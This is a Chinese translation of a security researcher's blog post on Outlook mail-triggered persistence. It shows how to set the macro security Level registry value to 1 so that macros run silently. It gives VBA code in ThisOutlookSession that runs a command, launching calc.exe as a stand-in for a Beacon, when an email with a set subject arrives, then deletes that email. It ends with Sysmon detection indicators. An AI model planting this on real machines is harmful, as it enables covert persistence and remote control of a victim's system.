0x00 概述
使用低权限用户在用户空间建立持久化的技术往往非常有价值,因为这样的场景远远多于权限提升的场景。因此,我们持续研究了一些未被广泛记录、可能不会被蓝队监测到的新技术。在去年,我们发表过3篇持久化相关的文章,而在这篇文章中,我们继续讨论持久化技术,重点分析我们近期发现的Outlook持久化技术。到目前为止,这项技术还没有被太多的蓝队所关注。
此前,已经有多位研究人员针对基于Outlook的持久化这个话题进行了研究,包括Dave Hartley和Nick Landers,他们详细介绍了如何使用Outlook规则来实现持久化。
在本文中,我们将重点介绍使用Outlook的VbsProject.OTM文件来达到与之相近的效果。尽管该技术还没有流传太广,但Cobalt Kitty此前已经将其用于命令和控制通道。
0x01 分析
与大多数Microsoft Office产品套件一样,Outlook可以启用“开发人员”选项卡,并通过VB编辑器创建基于VBA的宏。我们打开编辑器,创建一个简单的宏,可以找到一个名为“ThisOutlookSession”的Outlook特定模块。
在保存宏后,Outlook会在%APPDATA%\Roaming\Microsoft\Outlook目录下创建VbaProject.OTM文件。
但是,如果我们尝试以默认配置来执行宏,会出现失败提示,因为默认配置被设定为“为有数字签名的宏提供通知,禁用所有其他宏”。
但是,我们可以通过使用以下值来创建Security注册表项,以修改这项配置。
在宏安全性配置中,Level值定义如下:
4 = 不提供通知,禁用所有宏
3 = 为有数字签名的宏提供通知,禁用所有其他宏
2 = 为所有宏提供通知
1 = 启用所有宏
要允许宏在不通知用户的情况下以隐蔽方式运行,我们可能需要设置Level值为1,在操作期间启用所有宏。
检查VbaProject.OTM文件,我们发现它是标准的Microsoft复合文档文件(CDF):
dmc@deathstar ~ ✗ file ~/VbaProject.OTM
VbaProject.OTM: Composite Document File V2 Document, Cannot read section info
使用oledump.py对其进行进一步分析,可以发现其中包含宏代码的OLE流:
dmc@deathstar ~ ✗ python oledump.py ~/VbaProject.OTM 1: 43 'OutlookProjectData' 2: 388 'OutlookVbaData/PROJECT' 3: 59 'OutlookVbaData/PROJECTwm' 4: M 6156 'OutlookVbaData/VBA/ThisOutlookSession' 5: 2663 'OutlookVbaData/VBA/_VBA_PROJECT' 6: 497 'OutlookVbaData/VBA/dir'
至此,我们现在知道了VbaProject.OTM是启用OLE宏的标准文档,因此创建、混淆、清除(Purging)、重载(Stomping)这些文件的传统工具和技术仍然适用。当我们将其投递到磁盘上时,可能需要确保其静态安全性。
接下来,让我们来深入研究,如何将其作为武器化的持久化工具。
0x02 武器化
为了让VBA代码执行更有意义,代码需要作为事件的结果来执行。ThisOutlookSession模块允许我们订阅Outlook中的多种不同事件,这将导致有不同的机会来实现代码执行。
这里讨论的是持久化方式,可能会涉及到由用户驱动的某些事件(例如:打开Outlook)或由攻击者决定的某些事件(例如:接收到特定邮件)。在这里,我们将重点讨论后者,并说明如何利用带有特定主题的邮件实现任意VBA执行。
为了确定何时收到新的邮件,我们可以通过在Outlook启动时首先订阅默认收件箱的事件来实现,具体使用以下方法。首先,在注册事件时,为默认收件箱文件夹(olInboxItems)设置变量。
Option Explicit Private WithEvents olInboxItems As Items Private Sub Application_Startup() Set olInboxItems = Session.GetDefaultFolder(olFolderInbox).Items End Sub
然后,利用用户对收件箱的引用,我们可以借助“ItemAdd”回调函数在收到新邮件时接收事件:
Private Sub olInboxItems_ItemAdd(ByVal Item As Object) End Sub
具体而言,我们只对接收到的电子邮件感兴趣,因此可以对回调再做一下优化,使其仅在接收到新邮件时触发。可以通过验证条目,确认其类型是否为“MailItem”来实现这一点。
Private Sub olInboxItems_ItemAdd(ByVal Item As Object) If TypeOf Item Is MailItem Then MsgBox "You have mail" End If End Sub
当然,我们不想每收到一封邮件就执行一次,因此可以使用特定的条件判断,包括发件人地址、主题、正文内容等过滤接收到的邮件。在这里,对上述代码进行扩展,当收到特定主题(MailItem.Subject)的邮件时,执行代码,随后使用MailItem.Delete方法删除电子邮件。
Private Sub olInboxItems_ItemAdd(ByVal Item As Object) On Error Resume Next Dim olMailItem As MailItem If TypeOf Item Is MailItem Then If InStr(olMailItem.Subject, "MDSec") > 0 Then MsgBox "Hack The Planet" olMailItem.Delete End If End If Set Item = Nothing Set olMailItem = Nothing End Sub
将上述代码组合在一起,最终弹出计算器。
Option Explicit Private WithEvents olInboxItems As Items Private Sub Application_Startup() Set olInboxItems = Session.GetDefaultFolder(olFolderInbox).Items End Sub Private Sub olInboxItems_ItemAdd(ByVal Item As Object) On Error Resume Next Dim olMailItem As MailItem If TypeOf Item Is MailItem Then If InStr(olMailItem.Subject, "MDSec") > 0 Then MsgBox "Hack The Planet" Shell "calc.exe" olMailItem.Delete End If End If Set Item = Nothing Set olMailItem = Nothing End Sub
演示视频:https://vimeo.com/482370663
弹出计算器只是概念证明,实际上可以利用武器化的方式生成一个Beacon,具体的实现方式留给各位读者尝试。
演示视频:https://vimeo.com/482376266
0x03 检测
从终端安全的角度,可以通过以下两个关键指标检测该技术:
1、监测%APPDATA%\Roaming\Microsoft\Outlook\VbaProject.OTM文件的创建、修改事件(Sysmon事件ID 11);
2、监测注册表HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Security键和Level值的创建、修改事件(Sysmon事件ID 12)。
这篇文章由Dominic Chell撰写。
本文翻译自:https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/如若转载,请注明原文地址: